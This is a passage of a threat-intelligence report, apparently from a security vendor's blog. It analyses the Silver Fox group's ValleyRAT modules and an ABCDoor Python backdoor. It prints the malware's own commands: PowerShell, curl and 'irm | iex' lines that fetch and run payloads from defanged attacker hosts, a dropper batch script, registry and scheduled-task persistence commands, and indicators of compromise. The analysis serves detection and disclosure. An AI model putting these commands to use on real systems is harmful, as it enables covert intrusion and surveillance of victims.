src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222556\/silver-fox10.png\" alt=\"End of the decrypted payload: ValleyRAT (Winos 4.0) configuration\" width=\"776\" height=\"697\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222556\/silver-fox10.png 776w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222556\/silver-fox10-300x269.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222556\/silver-fox10-768x690.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222556\/silver-fox10-390x350.png 390w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222556\/silver-fox10-740x665.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222556\/silver-fox10-312x280.png 312w\" sizes=\"auto, (max-width: 776px) 100vw, 776px\"><\/a><\/p>\n<p id=\"caption-attachment-119589\" class=\"wp-caption-text\">End of the decrypted payload: ValleyRAT (Winos 4.0) configuration<\/p>\n<\/div>\n<p>The values between the \u201c|\u201d delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:<\/p>\n<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:\u98d8\u8bc8|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|<\/pre>\n<\/p>\n<p>The key configuration parameters in this string are:<\/p>\n<ul>\n<li>p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority<\/li>\n<li>bz: the creation date of the configuration<\/li>\n<\/ul>\n<p>The Silver Fox group has long employed the infection chain described above \u2013 from the encrypted shellcode through the loading of the Login module \u2013 to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (<a href=\"https:\/\/www.trendmicro.com\/en_us\/research\/24\/f\/behind-the-great-wall-void-arachne-targets-chinese-speaking-user.html\" target=\"_blank\" rel=\"noopener\">1<\/a>, <a href=\"https:\/\/www.cloudsek.com\/blog\/silver-fox-targeting-india-using-tax-themed-phishing-lures\" target=\"_blank\" rel=\"noopener\">2<\/a>, and <a href=\"https:\/\/www.zscaler.com\/blogs\/security-research\/technical-analysis-latest-variant-valleyrat\" target=\"_blank\" rel=\"noopener\">3<\/a>).<\/p>\n<p>Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.<\/p>\n<p>ValleyRAT utilizes the registry to store its configurations and modules:<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Registry key<\/strong><\/td>\n<td><strong>Description<\/strong><\/td>\n<\/tr>\n<tr>\n<td>HKCU:Console\u0000<\/td>\n<td>For x86-based modules<\/td>\n<\/tr>\n<tr>\n<td>HKCU:Console1<\/td>\n<td>For x64-based modules<\/td>\n<\/tr>\n<tr>\n<td>HKCU:ConsoleIpDate<\/td>\n<td>Hardcoded registry location checked upon Login module startup<\/td>\n<\/tr>\n<tr>\n<td>HKCU:SoftwareIpDates_info<\/td>\n<td>Final configuration<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.<\/p>\n<h3 id=\"custom-valleyrat-modules\">Custom ValleyRAT modules<\/h3>\n<p>The discovered modules are named \u4fdd86.dll and \u4fdd86.dll_bin. Their parameters are detailed in the table below.<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>HKCU:Console\u0000 registry key value<\/strong><\/td>\n<td><strong>Module name<\/strong><\/td>\n<td><strong>Library MD5 hash<\/strong><\/td>\n<td><strong>Compiled date and time (UTC)<\/strong><\/td>\n<\/tr>\n<tr>\n<td>fc546acf1735127db05fb5bc354093e0<\/td>\n<td>\u4fdd86.dll<\/td>\n<td>4a5195a38a458cdd2c1b5ab13af3b393<\/td>\n<td>2025-12-04 04:34:31<\/td>\n<\/tr>\n<tr>\n<td>fc546acf1735127db05fb5bc354093e0<\/td>\n<td>\u4fdd86.dll<\/td>\n<td>e66bae6e8621db2a835fa6721c3e5bbe<\/td>\n<td>2025-12-04 04:39:32<\/td>\n<\/tr>\n<tr>\n<td>2375193669e243e830ef5794226352e7<\/td>\n<td>\u4fdd86.dll_bin<\/td>\n<td>e66bae6e8621db2a835fa6721c3e5bbe<\/td>\n<td>2025-12-04 04:39:32<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Of particular note is the PDB path found in all identified modules: C:UsersAdministratorDesktopbatReleasewinos4.0\u6d4b\u8bd5\u63d2\u4ef6.pdb. In Chinese, \u6d4b\u8bd5\u63d2\u4ef6 translates to \u201ctest plugin\u201d, which may suggest that these modules are still in development.<\/p>\n<p>Upon execution, the \u4fdd86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:<\/p>\n<div id=\"attachment_119590\" style=\"width: 380px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222837\/silver-fox13.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119590\" class=\"size-full wp-image-119590\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222837\/silver-fox13.png\" alt=\"Countries where the \u4fdd86.dll module functions\" width=\"370\" height=\"268\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222837\/silver-fox13.png 370w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222837\/silver-fox13-300x217.png 300w\" sizes=\"auto, (max-width: 370px) 100vw, 370px\"><\/a><\/p>\n<p id=\"caption-attachment-119590\" class=\"wp-caption-text\">Countries where the \u4fdd86.dll module functions<\/p>\n<\/div>\n<p>If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp:\/\/154.82.81[.]205\/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried<br \/>\nhxxp:\/\/154.82.81[.]205\/YN20250923193706.zip.<\/p>\n<p>Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.<\/p>\n<p>The module implements the following download methods:<\/p>\n<ol>\n<li>Using the InternetReadFile function with the User-Agent PythonDownloader<\/li>\n<li>Using the URLDownloadToFile function<\/li>\n<li>Using PowerShell:\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">powershell.exe -Command \"&amp; {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp:\/\/154.82.81[.]205\/YD20251001143052.zip' -OutFile '$appdataappclient111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }\"<\/pre>\n<\/li>\n<li>Using curl:\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">curl.exe -L -o \"%LOCALAPPDATA%appclient111.zip\" \"hxxp:\/\/154.82.81[.]205\/YD20251001143052.zip\" --silent --show-error --insecure --max-time 600<\/pre>\n<\/li>\n<\/ol>\n<p>The archive was saved to the path %LOCALAPPDATA%appclient111.zip.<\/p>\n<div id=\"attachment_119591\" style=\"width: 499px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223123\/silver-fox18.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119591\" class=\"size-full wp-image-119591\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223123\/silver-fox18.png\" alt=\"Contents of the 111.zip archive\" width=\"489\" height=\"100\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223123\/silver-fox18.png 489w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223123\/silver-fox18-300x61.png 300w\" sizes=\"auto, (max-width: 489px) 100vw, 489px\"><\/a><\/p>\n<p id=\"caption-attachment-119591\" class=\"wp-caption-text\">Contents of the 111.zip archive<\/p>\n<\/div>\n<p>The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio\/video tool that the backdoor uses for screen capturing.<\/p>\n<p>Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">cmd.exe \/c \"C:Users&lt;user&gt;AppDataLocalappclientupdate.bat\"<\/pre>\n<p>The update.bat script copies the extracted files to C:ProgramDataTailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">@echo off\r\nset \"script_dir=%~dp0\"\r\nset SRC_DIR=%script_dir%\r\nset DES_DIR=C:ProgramDataTailscale\r\n\r\nrmdir \/s \/q \"%DES_DIR%\"\r\nmkdir \"%DES_DIR%\"\r\ncall :recursiveCopy \"%SRC_DIR%\" \"%DES_DIR%\"\r\n\r\nstart \"\" \/B \"%DES_DIR%pythonpythonw.exe\" -m appclient\r\nexit \/b\r\n\r\n:recursiveCopy\r\nset \"src=%~1\"\r\nset \"dest=%~2\"\r\nif not exist \"%dest%\" mkdir \"%dest%\"\r\nfor %%F in (\"%src%*\") do (\r\n    copy \"%%F\" \"%dest%\" &gt;nul\r\n)\r\nfor \/d %%D in (\"%src%*\") do (\r\n    call :recursiveCopy \"%%D\" \"%dest%%%~nxD\"\r\n)\r\nexit \/b<\/pre>\n<\/p>\n<p><center><strong><em>Contents of update.bat<\/em><\/strong><\/center><\/p>\n<p>After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:<\/p>\n<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">start \"\" \/B \"%DES_DIR%pythonpythonw.exe\" -m appclient<\/pre>\n<\/p>\n<h2 id=\"abcdoor-python-backdoor\">ABCDoor Python backdoor<\/h2>\n<p>The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.<\/p>\n<div id=\"attachment_119592\" style=\"width: 427px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223249\/silver-fox20.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119592\" class=\"size-full wp-image-119592\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223249\/silver-fox20.png\" alt=\"Code for main.py: the module entry point\" width=\"417\" height=\"141\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223249\/silver-fox20.png 417w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223249\/silver-fox20-300x101.png 300w\" sizes=\"auto, (max-width: 417px) 100vw, 417px\"><\/a><\/p>\n<p id=\"caption-attachment-119592\" class=\"wp-caption-text\">Code for main.py: the module entry point<\/p>\n<\/div>\n<p>The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format <code>python(&lt;pid&gt;): &lt;proctitle&gt;<\/code>. For example, for the appclient module, this object would appear as follows:<\/p>\n<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">Sessions1BaseNamedObjectspython(8544): AppClientABC<\/pre>\n<\/p>\n<p>We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.<\/p>\n<p>The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.<\/p>\n<p>Upon execution, the backdoor establishes persistence in the following locations:<\/p>\n<ol>\n<li>Windows registry: It adds <code>\"&lt;path_to_pythonw.exe&gt;\" -m appclient<\/code> to the value HKCU:SoftwareMicrosoftWindowsCurrentVersionRun:AppClient, e.g:\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">\"C:Users&amp;lt;username&amp;gt;AppDataLocalappclientpythonpythonw.exe\" -m appclient<\/pre>\n<p>\nPersistence is established by executing the following command:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">cmd.exe \/c \"reg add \"HKCUSoftwareMicrosoftWindowsCurrentVersionRun\" \/v \"AppClient\" \/t REG_SZ \/d \"\"&lt;path_to_pythonw.exe&gt;\" -m appclient\" \/f\"<\/pre>\n<\/li>\n<li>Task scheduler: The malware executes\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">cmd.exe \/c \"schtasks \/create \/sc minute \/mo 1 \/tn \"AppClient\" \/tr \"&lt;path_to_pythonw.exe&gt; -m appclient\" \/f\"<\/pre>\n<\/li>\n<\/ol>\n<p>The command creates a task named \u201cAppClient\u201d that runs every minute.<\/p>\n<p>The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:<\/p>\n<ul>\n<li>MainManager: handles C2 connection and authorization (sending system metadata)<\/li>\n<li>MessageManager: registers and executes message handlers<\/li>\n<li>AutoStartManager: manages backdoor persistence<\/li>\n<li>ClientManager: handles backdoor updates and removal<\/li>\n<li>SystemInfoManager: collects data from the victim\u2019s system, including screenshots<\/li>\n<li>RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)<\/li>\n<li>FileManager: performs file system operations<\/li>\n<li>KeyboardManager: emulates keyboard input<\/li>\n<li>ProcessManager: manages system processes<\/li>\n<li>ClipboardManager: exfiltrates clipboard contents to the C2<\/li>\n<li>CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)<\/li>\n<li>Utils: auxiliary functions (file upload\/download, archive management, error log uploading, etc.)<\/li>\n<\/ul>\n<div id=\"attachment_119593\" style=\"width: 643px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223454\/silver-fox11.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119593\" class=\"size-full wp-image-119593\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223454\/silver-fox11.png\" alt=\"Backdoor strings with characteristic names\" width=\"633\" height=\"452\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223454\/silver-fox11.png 633w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223454\/silver-fox11-300x214.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223454\/silver-fox11-490x350.png 490w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28223454\/silver-fox11-392x280.png 392w\" sizes=\"auto, (max-width: 633px) 100vw, 633px\"><\/a><\/p>\n<p id=\"caption-attachment-119593\" class=\"wp-caption-text\">Backdoor strings with characteristic names<\/p>\n<\/div>\n<p>Upon connecting, ABCDoor sends an <code>auth<\/code> message to the C2 with the following information in JSON format:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">\"role\": \"client\",\r\n\"device_info\": {\r\n\t \"device_name\": device_name,\r\n \t\"os_name\": os_name,\r\n\t\"os_version\": os_version,\r\n\t\"os_release\": os_release,\r\n\t\"device_id\": device_id,\r\n\t\"install_channel\": \"&lt;channel_name_from_registry&gt;\", # optional field \r\n\t\"first_install_time\": \"&lt;install_time_from_registry&gt;\", # optional field\r\n},\r\n\"version\": 157 # hard-coded ABCDoor version<\/pre>\n<p>The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">device_id = Utility.get_machine_guid_via_file_func()\r\ndevice_id = Utility.get_machine_guid_via_reg()<\/pre>\n<p>First, the <code>get_machine_guid_via_file_func<\/code> function attempts to read an identifier from the file %LOCALAPPDATA%applogsdevice.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the <code>get_machine_guid_via_reg<\/code> function overwrites the identifier obtained by the first function with the value from HKLM:SOFTWAREMicrosoftCryptography:MachineGuid. This likely indicates a bug in the code.<\/p>\n<p>The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:<\/p>\n<ul>\n<li>Emulating a double click while broadcasting the victim\u2019s screen<\/li>\n<li>A <code>\"file_open\"<\/code> message within the <code>FileManager<\/code> class, which calls the <code>os.startfile<\/code> function. This executes a specified file using the <code>ShellExecute<\/code> function and the default handler for that file extension<\/li>\n<\/ul>\n<p>For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions <code>RemoteControl::ScreenRecorder::start_single_monitor_ddagrab<\/code>, <code>RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab<\/code>, and <code>RemoteControl::ScreenRecorder::test_ddagrab_support<\/code>. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.<\/p>\n<p>Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim\u2019s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:<\/p>\n<ul>\n<li>Writes its initial installation timestamp to the registry value HKCU:SoftwareCarEmu:FirstInstallTime<\/li>\n<li>Creates the directory and file %LOCALAPPDATA%applogsdevice.log to store the victim\u2019s ID<\/li>\n<li>Logs any exceptions to %LOCALAPPDATA%applogsexception_logs.zip. Interestingly, Silver Fox even implemented a <code>Utility::upload_exception_logs<\/code> function to send this archive to a specified URI, likely to help debug and refine the malware\u2019s performance<\/li>\n<\/ul>\n<p>Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%tmpXXXXXXXXupdate.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%tmpXXXXXXXXupdate, and executed via a PowerShell command:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">powershell -Command \"Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%tmpXXXXXXXXupdateupdate.ps1\" -ArgumentList \"%LOCALAPPDATA%appclient\" -WindowStyle Hidden\"<\/pre>\n<p>The existing ABCDoor process is then forcibly terminated.<\/p>\n<h2 id=\"abcdoor-versions\">ABCDoor versions<\/h2>\n<p>Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Version<\/strong><\/td>\n<td><strong>Compiled date (UTC)<\/strong><\/td>\n<td><strong>Key updates<\/strong><\/td>\n<td><strong>ABCDoor .pyd MD5 hash<\/strong><\/td>\n<\/tr>\n<tr>\n<td>121<\/td>\n<td>2024.12.19 18:27:11<\/td>\n<td>\u2013 \u00a0Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)<br \/>\n\u2013 \u00a0No OOP used<br \/>\n\u2013 \u00a0Registry persistence<\/td>\n<td>5b998a5bc5ad1c550564294034d4a62c<\/td>\n<\/tr>\n<tr>\n<td>143<\/td>\n<td>2025.02.04 01:15:00<\/td>\n<td>Client updates<br \/>\n\u2013 \u00a0Task scheduler persistence<br \/>\n\u2013 \u00a0OOP implementation (classes)<br \/>\n\u2013 \u00a0Clipboard management<br \/>\n\u2013 \u00a0Process management<br \/>\n\u2013 \u00a0Asymmetric file and directory encryption<\/td>\n<td>c50c980d3f4b7ed970f083b0d37a6a6a<\/td>\n<\/tr>\n<tr>\n<td>152<\/td>\n<td>2025.04.01 15:39:36<\/td>\n<td>\u2013 \u00a0DPAPI encryption functions<br \/>\n\u2013 \u00a0Chunked file uploading to C2<\/td>\n<td>de8f0008b15f2404f721f76fac34456a<\/td>\n<\/tr>\n<tr>\n<td>154<\/td>\n<td>2025.05.09 13:36:24<\/td>\n<td>\u2013 \u00a0Implementation of installation channels<br \/>\n\u2013 \u00a0Key combination emulation<\/td>\n<td>9bf9f635019494c4b70fb0a7c0fb53e4<\/td>\n<\/tr>\n<tr>\n<td>156<\/td>\n<td>2025.08.11 13:36:10<\/td>\n<td>\u2013 \u00a0Retrieval and logging of initial installation time to the registry<\/td>\n<td>a543b96b0938de798dd4f683dd92a94a<\/td>\n<\/tr>\n<tr>\n<td>157<\/td>\n<td>2025.08.28 14:23:57<\/td>\n<td>\u2013 \u00a0Use of DDA source in ffmpeg for monitor screen broadcasting<\/td>\n<td>fa08b243f12e31940b8b4b82d3498804<\/td>\n<\/tr>\n<tr>\n<td>157<\/td>\n<td>2025.09.23 11:38:17<\/td>\n<td>\u2013 \u00a0Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)<\/td>\n<td>13669b8f2bd0af53a3fe9ac0490499e5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2 id=\"evolution-of-abcdoor-distribution-methods\">Evolution of ABCDoor distribution methods<\/h2>\n<p>Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:<\/p>\n<ul>\n<li>C++ stager\n<p>The file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps:\/\/mcagov[.]cc\/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps:\/\/abc.fetish-friends[.]com\/uploads\/appclient.zip, extracted it, and executed it.<\/p>\n<\/li>\n<li>Go stager\n<p>The file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">powershell.exe -Command \"irm hxxps:\/\/abc.fetish-friends[.]com\/setup\/install | iex\"<\/pre>\n<p>This script downloaded the ABCDoor archive and launched it.<\/p>\n<\/li>\n<p>Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:<\/p>\n<ul>\n<li>Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:\n<ul>\n<li>hxxps:\/\/tinyurl[.]com\/4nzkync8 -&gt; hxxps:\/\/roldco[.]com\/api\/download\/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6<\/li>\n<li>hxxps:\/\/tinyurl[.]com\/bde63yuu -&gt; hxxps:\/\/sudsmama[.]com\/api\/download\/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb<\/li>\n<\/ul>\n<\/li>\n<li>Utilizing URLs with arguments formatted as <code>channel=[word_MMDD]<\/code>:<\/li>\n<li>hxxps:\/\/abc.fetish-friends[.]com\/setup?channel=jiqi_0819<\/li>\n<li>hxxps:\/\/abc.fetish-friends[.]com\/setup\/install?channel=whatsapp_0826<\/li>\n<li>hxxps:\/\/abc.fetish-friends[.]com\/setup\/install?channel=dianhua-0903<\/li>\n<\/ul>\n<p>Thanks to these \u201cchannel\u201d names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers\u2019 server at hxxps:\/\/vnc.kcii2[.]com, providing them with remote access to the victim\u2019s device. Below is the list of files we identified:<\/p>\n<ul>\n<li>RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)<\/li>\n<li>RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)<\/li>\n<li>RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)<\/li>\n<li>MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)<\/li>\n<li>MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)<\/li>\n<li>MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)<\/li>\n<\/ul>\n<p>The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:<\/p>\n<p>hxxps:\/\/tinyurl[.]com\/322ccxbf -&gt; hxxps:\/\/sudsmama.com\/api\/download\/50e24b3a-8662-4d2f-9837-8cc62aa8f697<\/p>\n<p>Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:<\/p>\n<ul>\n<li>CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)<\/li>\n<li>November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)<\/li>\n<li>December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)<\/li>\n<li>December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)<\/li>\n<li>Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)<\/li>\n<\/ul>\n<p>The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.<\/p>\n<div id=\"attachment_119594\" style=\"width: 233px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225430\/silver-fox9.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119594\" class=\"size-full wp-image-119594\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225430\/silver-fox9.png\" alt=\"Icons of the SFX archives\" width=\"223\" height=\"138\"><\/a><\/p>\n<p id=\"caption-attachment-119594\" class=\"wp-caption-text\">Icons of the SFX archives<\/p>\n<\/div>\n<p>When executed, the SFX archive ran the following script:<\/p>\n<div id=\"attachment_119595\" style=\"width: 952px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225506\/silver-fox12.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119595\" class=\"size-full wp-image-119595\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225506\/silver-fox12.png\" alt=\"SFX archive script\" width=\"942\" height=\"135\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225506\/silver-fox12.png 942w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225506\/silver-fox12-300x43.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225506\/silver-fox12-768x110.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225506\/silver-fox12-740x106.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225506\/silver-fox12-800x115.png 800w\" sizes=\"auto, (max-width: 942px) 100vw, 942px\"><\/a><\/p>\n<p id=\"caption-attachment-119595\" class=\"wp-caption-text\">SFX archive script<\/p>\n<\/div>\n<p>This script launched run_direct.ps1, a PowerShell script contained within the archive.<\/p>\n<div id=\"attachment_119597\" style=\"width: 1065px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119597\" class=\"size-full wp-image-119597\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2.png\" alt=\"The run_direct.ps1 script\" width=\"1055\" height=\"285\" 